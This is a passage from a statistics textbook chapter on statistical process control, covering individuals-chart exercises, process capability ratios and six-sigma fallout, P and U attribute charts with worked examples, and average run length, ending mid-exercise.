Some individuals have suggested that limits narrower than 3-sigma be used on the chart for individuals to enhance its ability to detect small process shifts. This is a dangerous suggestion, for narrower limits dramatically increase false alarms and the charts may be ignored and become useless. If you are interested in detecting small shifts, consider the time-weighted charts.

EXERCISES FOR SECTION 15-4

15-17. Twenty successive hardness measurements are made on a metal alloy, and the data are shown in the following table.

Observation	Hardness	Observation	Hardness
1	51	11	51
2	52	12	57
3	54	13	58
4	55	14	50
5	55	15	53
6	51	16	52
7	52	17	54
8	50	18	50
9	51	19	56
10	56	20	53

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Construct the chart and plot the data. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-18. In a semiconductor manufacturing process CVD metal thickness was measured on 30 wafers obtained over approximately two weeks. Data are shown in the following table.

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Construct the chart and plot the data. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

Wafer	x	Wafer	x
1	16.8	16	15.4
2	14.9	17	14.3
3	18.3	18	16.1
4	16.5	19	15.8
5	17.1	20	15.9
6	17.4	21	15.2
7	15.9	22	16.7
8	14.4	23	15.2
9	15.0	24	14.7
10	15.7	25	17.9
11	17.1	26	14.8
12	15.9	27	17.0
13	16.4	28	16.2
14	15.8	29	15.6
15	15.4	30	16.3

15-19. The diameter of holes is measured in consecutive order by an automatic sensor. The results of measuring 25 holes are in the following table.

Sample	Diameter	Sample	Diameter
1	9.94	14	9.99
2	9.93	15	10.12
3	10.09	16	9.81
4	9.98	17	9.73
5	10.11	18	10.14
6	9.99	19	9.96
7	10.11	20	10.06
8	9.84	21	10.11
9	9.82	22	9.95
10	10.38	23	9.92
11	9.99	24	10.09
12	10.41	25	9.85
13	10.36		

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Construct the control chart and plot the data. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-20. The viscosity of a chemical intermediate is measured every hour. Twenty samples each of size $n = 1$, are in the following table.

Sample	Viscosity	Sample	Viscosity
1	495	11	493
2	491	12	507
3	501	13	503
4	501	14	475
5	512	15	497
6	540	16	499
7	492	17	468
8	504	18	486
9	542	19	511
10	508	20	487

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-21. The following table of data was analyzed in *Quality Engineering* (1991–1992, Vol. 4(1)). The average particle size of raw material was obtained from 25 successive samples.

Observation	Size	Observation	Size
1	96.1	14	100.5
2	94.4	15	103.1
3	116.2	16	93.1
4	98.8	17	93.7
5	95.0	18	72.4
6	120.3	19	87.4
7	104.8	20	96.1
8	88.4	21	97.1
9	106.8	22	95.7
10	96.8	23	94.2
11	100.9	24	102.4
12	117.7	25	131.9
13	115.6		

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Construct the chart and plot the data. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-22. Pulsed laser deposition technique is a thin film deposition technique with a high-powered laser beam. Twenty-five films were deposited through this technique. The thicknesses of the films obtained are shown in the following table.

Film	Thickness (in nm)	Film	Thickness (in nm)
1	28	8	51
2	45	9	23
3	34	10	35
4	29	11	47
5	37	12	50
6	52	13	32
7	29	14	40
15	46	21	21
16	59	22	62
17	20	23	34
18	33	24	31
19	56	25	98
20	49		

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples, and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-23. The production manager of a soap manufacturing company wants to monitor the weights of the bars produced on the line. Twenty bars are taken during a stable period of the process. The weights of the bars are shown in the following table.

Bar	Weight (in g)	Bar	Weight (in g)
1	74	11	99
2	82	12	75
3	97	13	77
4	86	14	82
5	71	15	93
6	68	16	70
7	83	17	87
8	90	18	76
9	88	19	84
10	64	20	94

(a) Using all the data, compute trial control limits for individual observations and moving-range charts. Determine whether the process is in statistical control. If not, assume assignable causes can be found to eliminate these samples, and revise the control limits.

(b) Estimate the process mean and standard deviation for the in-control process.

15-5 PROCESS CAPABILITY

It is usually necessary to obtain some information about the **process capability,** that is, the performance of the process when it is operating in control. Two graphical tools, the **tolerance chart** (or tier chart) and the **histogram,** are helpful in assessing process capability. The tolerance chart for all 20 samples from the vane-manufacturing process is shown in Fig. 15-12. The specifications on vane opening are 0.5030 ± 0.0010 in. In terms of the coded data, the upper specification limit is $USL = 40$ and the lower specification limit is $LSL = 20$, and these limits

Figure 15-12
Tolerance diagram of vane openings.

are shown on the chart in Fig. 15-12. Each measurement is plotted on the tolerance chart. Measurements from the same subgroup are connected with lines. The tolerance chart is useful in revealing patterns over time in the individual measurements, or it may show that a particular value of $\bar{x}$ or r was produced by one or two unusual observations in the sample. For example, note the two unusual observations in sample 9 and the single unusual observation in sample 8. Note also that it is appropriate to plot the specification limits on the tolerance chart, since it is a chart of individual measurements. **It is never appropriate to plot specification limits on a control chart or to use the specifications in determining the control limits.** Specification limits and control limits are unrelated. Finally, note from Fig. 15-12 that the process is running off-center from the nominal dimension of 30 (or 0.5030 inch).

The histogram for the vane-opening measurements is shown in Fig. 15-13. The observations from samples 6, 8, 9, 11, and 19 (corresponding to out of-control points on either the $\bar{X}$ or R chart) have been deleted from this histogram. The general impression from examining this histogram is that the process is capable of meeting the specification but that it is running off-center.

Another way to express process capability is in terms of an index that is defined as follows.

Process Capability Ratio

The **process capability ratio** (PCR) is

$$PCR = \frac{USL - LSL}{6\sigma} \tag{15-20}$$

Figure 15-13
Histogram for vane opening.

The numerator of *PCR* is the width of the specifications. The limits 3σ on either side of the process mean are sometimes called **natural tolerance limits,** for these represent limits that an in-control process should meet with most of the units produced. Consequently, 6σ is often referred to as the width of the process. For the vane opening, where our sample size is 5, we could estimate σ as

$$\hat{\sigma} = \frac{\bar{r}}{d_2} = \frac{5.0}{2.326} = 2.15$$

Therefore, the *PCR* is estimated to be

$$PCR = \frac{USL - LSL}{6\hat{\sigma}} = \frac{40 - 20}{6(2.15)} = 1.55$$

The *PCR* has a natural interpretation: $(1/PCR)100\%$ is just the percentage of the specifications' width used by the process. Thus, the vane-opening process uses approximately $(1/1.55)100\% = 64.5\%$ of the specifications' width.

Figure 15-14(a) shows a process for which the *PCR* exceeds unity. Since the process natural tolerance limits lie inside the specifications, very few defective or nonconforming units will be produced. If $PCR = 1$, as shown in Fig.15-14(b), more nonconforming units result. In fact, for a normally distributed process, if $PCR = 1$, the fraction nonconforming is 0.27%, or 2700 parts per million. Finally, when the *PCR* is less than unity, as in Fig. 15-14(c), the process is very yield-sensitive and a large number of nonconforming units will be produced.

The definition of the *PCR* given in Equation 15-20 implicitly assumes that the process is centered at the nominal dimension. If the process is running off-center, its **actual capability** will be less than indicated by the *PCR*. It is convenient to think of *PCR* as a measure of **potential capability,** that is, capability with a centered process. If the

Figure 15-14
Process fallout and the process capability ratio (PCR).

process is not centered, a measure of actual capability is often used. This ratio, called PCR_k, is defined below.

PCR_k

$$PCR_k = \min\left[\frac{USL - \mu}{3\sigma}, \frac{\mu - LSL}{3\sigma}\right] \tag{15-21}$$

In effect, PCR_k is a one-sided process capability ratio that is calculated relative to the specification limit nearest to the process mean. For the vane-opening process, we find that the estimate of the process capability ratio PCR_k (after deleting the samples corresponding to out-of-control points) is

$$\widehat{PCR}_k = \min\left[\frac{USL - \bar{\bar{x}}}{3\hat{\sigma}}, \frac{\bar{\bar{x}} - LSL}{3\hat{\sigma}}\right]$$

$$= \min\left[\frac{40 - 33.21}{3(2.15)} = 1.06, \frac{33.21 - 20}{3(2.15)} = 2.04\right] = 1.05$$

Note that if $PCR = PCR_k$, the process is centered at the nominal dimension. Since $\widehat{PCR}_k = 1.05$ for the vane-opening process and $\widehat{PCR} = 1.55$, the process is obviously running off-center, as was first noted in Figs. 15-10 and 15-13. This off-center operation was

ultimately traced to an oversized wax tool. Changing the tooling resulted in a substantial improvement in the process.

The fractions of nonconforming output (or fallout) below the lower specification limit and above the upper specification limit are often of interest. Suppose that the output from a normally distributed process in statistical control is denoted as X. The fractions are determined from

$$P(X < LSL) = P(Z < (LSL - \mu)/\sigma) \qquad P(X > USL) = P(Z > (USL - \mu)/\sigma)$$

EXAMPLE 15-3 Electrical Current

For an electronic manufacturing process a current has specifications of 100 ± 10 milliamperes. The process mean μ and standard deviation σ are 107.0 and 1.5, respectively. The process mean is nearer to the USL. Consequently,

$$PCR = \frac{110 - 90}{6 \cdot 5} = 2.22$$

and

$$PCR_k = \frac{110 - 107}{3 \cdot 15} = 0.67$$

The small PCR_k indicates that the process is likely to produce currents outside of the specification limits. From the normal distribution in Appendix Table II,

$$\begin{aligned} P(X < LSL) &= P(Z < (90 - 107)/1.5) \\ &= P(Z < -11.33) \cong 0 \\ P(X > USL) &= P(Z > (110 - 107)/1.5) \\ &= P(Z > 2) = 0.023 \end{aligned}$$

Practical Interpretation: The probability a current is less than the LSL is nearly zero. Consequently, the nonconforming output exceeds the USL. The PCR_k would improve if the process mean were centered in the specifications at 100 milliamperes.

For this example, the relatively large probability of exceeding the USL is a warning of potential problems with this criterion even if none of the measured observations in a preliminary sample exceed this limit. We emphasize that the fraction-nonconforming calculation assumes that the observations are normally distributed and the process is in control. Departures from normality can seriously affect the results. The calculation should be interpreted as an approximate guideline for process performance. To make matters worse, μ and σ need to be estimated from the data available and a small sample size can result in poor estimates that further degrade the calculation.

Montgomery (2009) provides guidelines on appropriate values of the PCR and a table relating fallout for a normally distributed process in statistical control to the value of PCR. Many U.S. companies use $PCR = 1.33$ as a minimum acceptable target and $PCR = 1.66$ as a minimum target for strength, safety, or critical characteristics. Some companies require that internal processes and those at suppliers achieve a $PCR_k = 2.0$. Figure 15-15 illustrates a process with $PCR = PCR_k = 2.0$. Assuming a normal distribution, the calculated fallout for this process is 0.0018 parts per million. A process with $PCR_k = 2.0$ is referred to as a **six-sigma process** because the distance from the process mean to the nearest specification is six standard deviations. The reason that such a large process capability is often required is that it is difficult to maintain a process mean at the center of the specifications for long periods of time. A common model that

Figure 15-15 Mean of a six-sigma process shifts by 1.5 standard deviations.

is used to justify the importance of a six-sigma process is illustrated by referring to Fig. 15-15. If the process mean shifts off-center by 1.5 standard deviations, the PCR_k decreases to

$$PCR_k = \frac{USL - \mu}{3\sigma} = \frac{6\sigma - 1.5\sigma}{3\sigma} = \frac{4.5\sigma}{3\sigma} = 1.5$$

Assuming a normally distributed process, the fallout of the shifted process is **3.4 parts per million.** Consequently, the mean of a 6-sigma process can shift 1.5 standard deviations from the center of the specifications and still maintain a fallout of 3.4 parts per million.

In addition, some U.S. companies, particularly the automobile industry, have adopted the terminology $C_p = PCR$ and $C_{pk} = PCR_k$. Because C_p has another meaning in statistics (in multiple regression) we prefer the traditional notation PCR and PCR_k.

We repeat that process capability calculations are meaningful only for stable processes; that is, processes that are in control. A process capability ratio indicates whether or not the natural or chance variability in a process is acceptable relative to the specifications.

EXERCISES FOR SECTION 15-5

15-24. Suppose that a quality characteristic is normally distributed with specifications at 100 ± 20. The process standard deviation is 6.

(a) Suppose that the process mean is 100. What are the natural tolerance limits? What is the fraction defective? Calculate PCR and PCR_k and interpret these ratios.

(b) Suppose that the process mean is 106. What are the natural tolerance limits? What is the fraction defective? Calculate PCR and PCR_k and interpret these ratios.

15-25. Suppose that a quality characteristic is normally distributed with specifications from 20 to 32 units.

(a) What value is needed for σ to achieve a PCR of 1.5?

(b) What value for the process mean minimizes the fraction defective? Does this choice for the mean depend on the value of σ?

15-26. Suppose that a quality characteristic is normally distributed with specifications from 10 to 30 units. The process standard deviation is 2 units.

(a) Calculate the natural tolerance limits, fraction defective, PCR, and PCR_k when the process mean is 20.

(b) Suppose the process mean shifts higher by 1.5 standard deviations. Recalculate the quantities in part (b).

(c) Compare the results in parts (a) and (b) and comment on any differences.

15-27. A normally distributed process uses 66.7% of the specification band. It is centered at the nominal dimension, located halfway between the upper and lower specification limits.

(a) Estimate PCR and PCR_k. Interpret these ratios.

(b) What fallout level (fraction defective) is produced?

15-28. A normally distributed process uses 85% of the specification band. It is centered at the nominal dimension, located halfway between the upper and lower specification limits.

(a) Estimate PCR and PCR_k. Interpret these ratios.

(b) What fallout level (fraction defective) is produced?

15-29. Reconsider Exercise 15-1. Suppose that the quality characteristic is normally distributed with specification at 220 ± 40. What is the fallout level? Estimate PCR and PCR_k and interpret these ratios.

15-30. Reconsider Exercise 15-2, where the specification limits are 14.50 ± 0.50.

(a) What conclusions can you draw about the ability of the process to operate within these limits? Estimate the percentage of defective items that will be produced.

(b) Estimate PCR and PCR_k. Interpret these ratios.

15-31. Reconsider Exercise 15-3. Suppose that the variable is normally distributed with specifications at 220 ± 50. What is the proportion out of specifications? Estimate and interpret PCR and PCR_k.

15-32. Reconsider Exercise 15-4(a). Assuming that both charts exhibit statistical control and that the process specifications are at 20 ± 5, estimate PCR and PCR_k and interpret these ratios.

15-33. Reconsider Exercise 15-7. Use the revised control limits and process estimates.

(a) Estimate PCR and PCR_k. Interpret these ratios.

(b) What percentage of defectives is being produced by this process?

15-34. Reconsider Exercise 15-8. Given that the specifications are at 6.0 ± 1.0, estimate PCR and PCR_k and interpret these ratios.

15-35. Reconsider Exercise 15-9. Using the process estimates, what is the fallout level if the specifications are 16 ± 5? Estimate PCR and interpret this ratio.

15-36. Reconsider 15-20. The viscosity specifications are at 500 ± 25. Calculate estimates of the process capability ratios PCR and PCR_k for this process and provide an interpretation.

15-37. Suppose that a quality characteristic is normally distributed with specifications at 120 ± 20. The process standard deviation is 6.5.

(a) Suppose that the process mean is 120. What are the natural tolerance limits? What is the fraction defective? Calculate PCR and PCR_k and interpret these ratios.
(b) Suppose the process mean shifts off-center by 1.5 standard deviations toward the upper specification limit. Recalculate the quantities in part (a).
(c) Compare the results in parts (a) and (b) and comment on any differences.

15-38. Suppose that a quality characteristic is normally distributed with specifications at 150 ± 20. Natural tolerance limits for the process are 150 ± 18.
(a) Calculate the process standard deviation.
(b) Calculate PCR and PCR_k of the process. Calculate the percentage of the specification width used by the process.
(c) What fallout level (fraction defective) is produced?

15-39. An $\overline{X}$ control chart with three-sigma control limits and subgroup size $n = 4$ has control limits $UCL = 28.8$ and $LCL = 24.6$. The process specification limits are (24, 32).
(a) Estimate the process standard deviation.
(b) Calculate PCR and PCR_k for the process.

15-40. A control chart for individual observations has three-sigma control limits $UCL = 1.80$ and $LCL = 1.62$. The process specification limits are (1.64, 1.84).
(a) Estimate the process standard deviation.
(b) Calculate PCR and PCR_k for the process.

15-6 ATTRIBUTE CONTROL CHARTS

15-6.1 *P* Chart (Control Chart for Proportions)

Often it is desirable to classify a product as either defective or nondefective on the basis of comparison with a standard. This classification is usually done to achieve economy and simplicity in the inspection operation. For example, the diameter of a ball bearing may be checked by determining whether it will pass through a gauge consisting of circular holes cut in a template. This kind of measurement would be much simpler than directly measuring the diameter with a device such as a micrometer. Control charts for attributes are used in these situations. Attribute control charts often require a considerably larger sample size than do their variable measurements counterparts. In this section, we discuss the **fraction-defective control chart,** or ***P* chart.** Sometimes the P chart is called the control chart for fraction nonconforming.

Suppose D is the number of defective units in a random sample of size n. We assume that D is a binomial random variable with unknown parameter p. The fraction defective

$$P = \frac{D}{n}$$

of each sample is plotted on the chart. Furthermore, the variance of the statistic P is

$$\sigma_P^2 = \frac{p(1-p)}{n}$$

Therefore, a P chart for fraction defective could be constructed using p as the center line and control limits at

$$UCL = p + 3\sqrt{\frac{p(1-p)}{n}} \qquad LCL = p - 3\sqrt{\frac{p(1-p)}{n}} \tag{15-22}$$

However, the true process fraction defective is almost always unknown and must be estimated using the data from preliminary samples.

Suppose that m preliminary samples each of size n are available, and let D_i be the number of defectives in the ith sample. Then $P_i = D_i/n$ is the sample fraction defective in the ith sample. The average fraction defective is

$$\overline{P} = \frac{1}{m}\sum_{i=1}^{m} P_i = \frac{1}{mn}\sum_{i=1}^{m} D_i \tag{15-23}$$

Now $\overline{P}$ may be used as an estimator of p in the center line and control limit formulas.

P Chart

The center line and upper and lower control limits for the P chart are

$$UCL = \overline{p} + 3\sqrt{\frac{\overline{p}(1-\overline{p})}{n}} \quad CL = \overline{p} \quad LCL = \overline{p} - 3\sqrt{\frac{\overline{p}(1-\overline{p})}{n}} \tag{15-24}$$

where $\overline{p}$ is the observed value of the average fraction defective.

These control limits are based on the normal approximation to the binomial distribution. When p is small, the normal approximation may not always be adequate. In such cases, we may use control limits obtained directly from a table of binomial probabilities. If $\overline{p}$ is small, the lower control limit obtained from the normal approximation may be a negative number. If this should occur, it is customary to consider zero as the lower control limit.

EXAMPLE 15-4 Ceramic Substrate

Suppose we wish to construct a fraction-defective control chart for a ceramic substrate production line. We have 20 preliminary samples, each of size 100; the number of defectives in each sample is shown in Table 15-4. Assume that the samples are numbered in the sequence of production. Note that $\overline{p} = (800/2000) = 0.40$; therefore, the trial parameters for the control chart are

$$UCL = 0.40 + 3\sqrt{\frac{(0.40)(0.60)}{100}} = 0.55 \qquad CL = 0.40$$

$$LCL = 0.40 - 3\sqrt{\frac{(0.40)(0.60)}{100}} = 0.25$$

The control chart is shown in Fig. 15-16. All samples are in control. If they were not, we would search for assignable causes of variation and revise the limits accordingly. This chart can be used for controlling future production.

Practical Interpretation: Although this process exhibits statistical control, its defective rate ($\overline{p} = 0.40$) is very poor. We should take appropriate steps to investigate the process to determine why such a large number of defective units is being produced. Defective units should be analyzed to determine the specific types of defects present. Once the defect types are known, process changes should be investigated to determine their impact on defect levels. Designed experiments may be useful in this regard.

Table 15-4 Number of Defectives in Samples of 100 Ceramic Substrates

Sample	No. of Defectives	Sample	No. of Defectives
1	44	11	36
2	48	12	52
3	32	13	35
4	50	14	41
5	29	15	42
6	31	16	30
7	46	17	46
8	52	18	38
9	44	19	26
10	48	20	30

Figure 15-16 *P* chart for a ceramic substrate.

Computer software also produces an ***NP* chart.** This is just a control chart of $nP = D$, the number of defectives in a sample. The points, center line, and control limits for this chart are simply multiples (times n) of the corresponding elements of a P chart. The use of an NP chart avoids the fractions in a P chart but it is otherwise equivalent.

15-6.2 *U* Chart (Control Chart for Defects per Unit)

It is sometimes necessary to monitor the number of defects in a unit of product rather than the fraction defective. Suppose that in the production of cloth it is necessary to control the number of defects per yard or that in assembling an aircraft wing the number of missing rivets must be controlled. In these situations we may use the control chart for defects per unit, or the ***U* chart.** Many defects-per-unit situations can be modeled by the Poisson distribution.

If each sample consists of n units and there are C total defects in the sample,

$$U = \frac{C}{n}$$

is the average number of defects per unit. A U chart may be constructed for such data.

If the number of defects in a unit is a Poisson random variable with parameter λ, the mean and variance of this distribution are both λ. Each point on the chart is an observed value of U, the average number of defects per unit from a sample of n units. The mean of U is λ and the variance of U is λ/n. Therefore, the control limits for the U chart with known λ are:

$$UCL = \lambda + 3\sqrt{\frac{\lambda}{n}}$$

$$LCL = \lambda - 3\sqrt{\frac{\lambda}{n}} \qquad (15\text{-}25)$$

If there are m preliminary samples, and the number of defects per unit in these samples are U_1, $U_2, \ldots, U_m$, the estimator of the average number of defects per unit is

$$\overline{U} = \frac{1}{m}\sum_{i=1}^{m} U_i \qquad (15\text{-}26)$$

Now $\overline{U}$ is used as an estimator of λ in the centerline and control limit formulas.

U Chart

The center line and upper and lower control limits on the U chart are

$$UCL = \bar{u} + 3\sqrt{\frac{\bar{u}}{n}} \qquad CL = \bar{u} \qquad LCL = \bar{u} - 3\sqrt{\frac{\bar{u}}{n}} \qquad (15\text{-}27)$$

where $\bar{u}$ is the average number of defects per unit.

These control limits are based on the normal approximation to the Poisson distribution. When λ is small, the normal approximation may not always be adequate. In such cases, we may use control limits obtained directly from a table of Poisson probabilities. If $\bar{u}$ is small, the lower control limit obtained from the normal approximation may be a negative number. If this should occur, it is customary to use zero as the lower control limit.

EXAMPLE 15-5 Printed Circuit Boards

Printed circuit boards are assembled by a combination of manual assembly and automation. Surface Mount Technology (SMT) is used to make the mechanical and electrical connections of the components to the board. Every hour, five boards are selected and inspected for process-control purposes. The number of defects in each sample of five boards is noted. Results for 20 samples are shown in Table 15-5.

The center line for the U chart is

$$\bar{u} = \frac{1}{20}\sum_{i=1}^{20} u_i = \frac{32.0}{20} = 1.6$$

and the upper and lower control limits are

$$UCL = \bar{u} + 3\sqrt{\frac{\bar{u}}{n}} = 1.6 + 3\sqrt{\frac{1.6}{5}} = 3.3$$

$$LCL = \bar{u} - 3\sqrt{\frac{\bar{u}}{n}} = 1.6 - 3\sqrt{\frac{1.6}{5}} < 0$$

The control chart is plotted in Fig. 15-17. Because LCL is negative, it is set to 0. From the control chart in Fig. 15-17, we see that the process is in control.

Practical Interpretation: Eight defects per group of five circuit boards are too many (about $8/5 = 1.6$ defects/board), and the process needs improvement. An investigation needs to be made of the specific types of defects found on the printed circuit boards. This will usually suggest potential avenues for process improvement.

Computer software also produces a **C chart.** This is just a control chart of C, the total of defects in a sample. The points, center line, and control limits for this chart are simply multiples (times n) of the corresponding elements of a U chart. The use of a C chart avoids the fractions that can occur in a U chart but it is otherwise equivalent.

Table 15-5 Number of Defects in Samples of Five Printed Circuit Boards

Sample	Number of Defects	Defects per Unit u_i	Sample	Number of Defects	Defects per Unit u_i
1	6	1.2	11	9	1.8
2	4	0.8	12	15	3.0
3	8	1.6	13	8	1.6
4	10	2.0	14	10	2.0
5	9	1.8	15	8	1.6
6	12	2.4	16	2	0.4
7	16	3.2	17	7	1.4
8	2	0.4	18	1	0.2
9	3	0.6	19	7	1.4
10	10	2.0	20	13	2.6

Figure 15-17 *U* chart of defects per unit on printed circuit boards.

EXERCISES FOR SECTION 15-6

15-41. An early example of SPC was described in *Industrial Quality Control* [“The Introduction of Quality Control at Colonial Radio Corporation” (1944, Vol. 1(1), pp. 4–9)]. The following are the fractions defective of shaft and washer assemblies during the month of April in samples of $n = 1500$ each:

Sample	Fraction Defective	Sample	Fraction Defective
1	0.11	11	0.03
2	0.06	12	0.03
3	0.1	13	0.04
4	0.11	14	0.07
5	0.14	15	0.04
6	0.11	16	0.04
7	0.14	17	0.04
8	0.03	18	0.03
9	0.02	19	0.06
10	0.03	20	0.06

(a) Set up a *P* chart for this process. Is this process in statistical control?

(b) Suppose that instead of $n = 1500$, $n = 100$. Use the data given to set up a *P* chart for this process. Revise the control limits if necessary.

(c) Compare your control limits for the *P* charts in parts (a) and (b). Explain why they differ. Also, explain why your assessment about statistical control differs for the two sizes of *n*.

15-42. Suppose the following fraction defective has been found in successive samples of size 100 (read down):

(a) Using all the data, compute trial control limits for a fraction-defective control chart, construct the chart, and plot the data.

0.09	0.03	0.12
0.10	0.05	0.14
0.13	0.13	0.06
0.08	0.10	0.05
0.14	0.14	0.14
0.09	0.07	0.11
0.10	0.06	0.09
0.15	0.09	0.13
0.13	0.08	0.12
0.06	0.11	0.09

(b) Determine whether the process is in statistical control. If not, assume assignable causes can be found and out-of-control points eliminated. Revise the control limits.

15-43. The following are the numbers of defective solder joints found during successive samples of 500 solder joints:

Day	No. of Defectives	Day	No. of Defectives
1	106	12	37
2	116	13	25
3	164	14	88
4	89	15	101
5	99	16	64
6	40	17	51
7	112	18	74
8	36	19	71
9	69	20	43
10	74	21	80
11	42		

(a) Using all the data, compute trial control limits for a fraction-defective control chart, construct the chart, and plot the data.

(b) Determine whether the process is in statistical control. If not, assume assignable causes can be found and out-of-control points eliminated. Revise the control limits.

15-44. The following represent the number of defects per 1000 feet in rubber-covered wire: 1, 1, 3, 7, 8, 10, 5, 13, 0,

19, 24, 6, 9, 11, 15, 8, 3, 6, 7, 4, 9, 20, 11, 7, 18, 10, 6, 4, 0, 9, 7, 3, 1, 8, 12. Do the data come from a controlled process?

15-45. The following represent the number of solder defects observed on 24 samples of five printed circuit boards: 7, 6, 8, 10, 24, 6, 5, 4, 8, 11, 15, 8, 4, 16, 11, 12, 8, 6, 5, 9, 7, 14, 8, 21.

(a) Using all the data, compute trial control limits for a U control chart, construct the chart, and plot the data.

(b) Can we conclude that the process is in control using a U chart? If not, assume assignable causes can be found, list points and revise the control limits.

15-46. Consider the data on the number of earthquakes of magnitude 7.0 or greater by year in Exercise 6-71.

(a) Construct a U chart for this data with a sample size of $n = 1$.

(b) Do the data appear to be generated by an in-control process? Explain.

15-47. In a semiconductor manufacturing company, samples of 200 wafers are tested for defectives in the lot. The number of defectives in 20 such samples is shown in the following table.

Sample	No. of Defectives	Sample	No. of Defectives
1	44	11	52
2	63	12	74
3	40	13	43
4	35	14	50
5	29	15	60
6	56	16	38
7	40	17	36
8	38	18	65
9	74	19	41
10	66	20	95

(a) Set up a P chart for this process. Is the process in statistical control?

(b) Suppose that instead of samples of size 200, we have samples of size 100. Use the data to set up a P chart for this process. Revise the control limits if necessary.

(c) Compare the control limits in parts (a) and (b). Explain why they differ.

15-48. The following data are the number of spelling errors detected for every 1000 words on a news Web site over 20 weeks.

Week	No. of Spelling Errors	Week	No. of Spelling Errors
1	3	11	1
2	6	12	6
3	0	13	9
4	5	14	8
5	9	15	6
6	5	16	4
7	2	17	13
8	2	18	3
9	3	19	0
10	2	20	7

(a) What control chart is most appropriate for these data?

(b) Using all the data, compute trial control limits for the chart in part (a), construct the chart, and plot the data.

(c) Determine whether the process is in statistical control. If not, assume assignable causes can be found and out-of-control points eliminated. Revise the control limits.

15-7 CONTROL CHART PERFORMANCE

Specifying the control limits is one of the critical decisions that must be made in designing a control chart. By moving the control limits further from the center line, we decrease the risk of a type I error—that is, the risk of a point falling beyond the control limits, indicating an out-of-control condition when no assignable cause is present. However, widening the control limits will also increase the risk of a type II error—that is, the risk of a point falling between the control limits when the process is really out of control. If we move the control limits closer to the center line, the opposite effect is obtained: The risk of type I error is increased, while the risk of type II error is decreased.

The control limits on a Shewhart control chart are customarily located a distance of plus or minus three standard deviations of the variable plotted on the chart from the center line. That is, the constant k in Equation 15-1 should be set equal to 3. These limits are called **3-sigma control limits.**

A way to evaluate decisions regarding sample size and sampling frequency is through the **average run length (ARL)** of the control chart. Essentially, the ARL is the average number of points that must be plotted before a point indicates an out-of-control condition. For any Shewhart control chart, the ARL can be calculated from the mean of a geometric random variable. Suppose that p is the probability that any point exceeds the control limits. Then

Average Run Length

$$\text{ARL} = \frac{1}{p} \tag{15-28}$$

Thus, for an $\overline{X}$ chart with 3-sigma limits, $p = 0.0027$ is the probability that a normally distributed point falls outside the limits when the process is in control, so

$$\text{ARL} = \frac{1}{p} = \frac{1}{0.0027} \cong 370$$

is the average run length of the $\overline{X}$ chart when the process is in control. That is, even if the process remains in control, an out-of-control signal will be generated every 370 points, on the average.

Consider the piston ring process discussed in Section 15-2.2, and suppose we are sampling every hour. Thus, we will have a **false alarm** about every 370 hours on the average. Suppose we are using a sample size of $n = 5$ and that when the process goes out of control the mean shifts to 74.0135 millimeters. Then, the probability that $\overline{X}$ falls between the control limits of Fig. 15-3 is equal to

$$\begin{aligned} &P[73.9865 \le \overline{X} \le 74.0135 \text{ when } \mu = 74.0135] \\ &\quad = P\left[\frac{73.9865 - 74.0135}{0.0045} \le Z \le \frac{74.0135 - 74.0135}{0.0045}\right] \\ &\quad = P[-6 \le Z \le 0] = 0.5 \end{aligned}$$

Therefore, p in Equation 15-28 is 0.50, and the out-of-control ARL is

$$\text{ARL} = \frac{1}{p} = \frac{1}{0.5} = 2$$

That is, the control chart will require two samples to detect the process shift, on the average, so two hours will elapse between the shift and its detection (*again, on the average*). Suppose this approach is unacceptable, because production of piston rings with a mean diameter of 74.0135 millimeters results in excessive scrap costs and delays final engine assembly. How can we reduce the time needed to detect the out-of-control condition? One method is to sample more frequently. For example, if we sample every half hour, only one hour will elapse (on the average) between the shift and its detection. The second possibility is to increase the sample size. For example, if we use $n = 10$, the control limits in Fig. 15-3 narrow to 73.9905 and 74.0095. The probability of $\overline{X}$ falling between the control limits when the process mean is 74.0135 millimeters is approximately 0.1, so $p = 0.9$, and the out-of-control ARL is

$$\text{ARL} = \frac{1}{p} = \frac{1}{0.9} = 1.11$$

Table 15-6 Average Run Length (ARL) for an $\overline{X}$ Chart with 3-Sigma Control Limits

Magnitude of Process Shift	ARL $n = 1$	ARL $n = 4$
0	370.4	370.4
0.5σ	155.2	43.9
1.0σ	43.9	6.3
1.5σ	15.0	2.0
2.0σ	6.3	1.2
3.0σ	2.0	1.0

Thus, the larger sample size would allow the shift to be detected about twice as quickly as the old one. If it became important to detect the shift in approximately the first hour after it occurred, two control chart designs would work:

Design 1	Design 2
Sample size: $n = 5$	Sample size: $n = 10$
Sampling frequency: every half hour	Sampling frequency: every hour

Table 15-6 provides average run lengths for an $\overline{X}$ chart with 3-sigma control limits. The average run lengths are calculated for shifts in the process mean from 0 to 3.0σ and for sample sizes of $n = 1$ and $n = 4$ by using $1/p$, where p is the probability that a point plots outside of the control limits. Figure 15-18 illustrates a shift in the process mean of 2σ.

EXERCISES FOR SECTION 15-7

15-49. An X chart uses samples of size 1. The center line is at 100 and the upper and lower 3-sigma limits are at 112 and 88, respectively.
(a) What is the process σ?
(b) Suppose the process mean shifts to 96. Find the probability that this shift will be detected on the next sample.
(c) Find the ARL to detect the shift in part (b).

15-50. An $\overline{X}$ chart uses samples of size 4. The center line is at 100, and the upper and lower 3-sigma control limits are at 106 and 94, respectively.
(a) What is the process σ?
(b) Suppose the process mean shifts to 96. Find the probability that this shift will be detected on the next sample.
(c) Find the ARL to detect the shift in part (b).

15-51. Consider the $\overline{X}$ control chart in Fig. 15-3. Suppose that the mean shifts to 74.010 millimeters.
(a) What is the probability that this shift will be detected on the next sample?
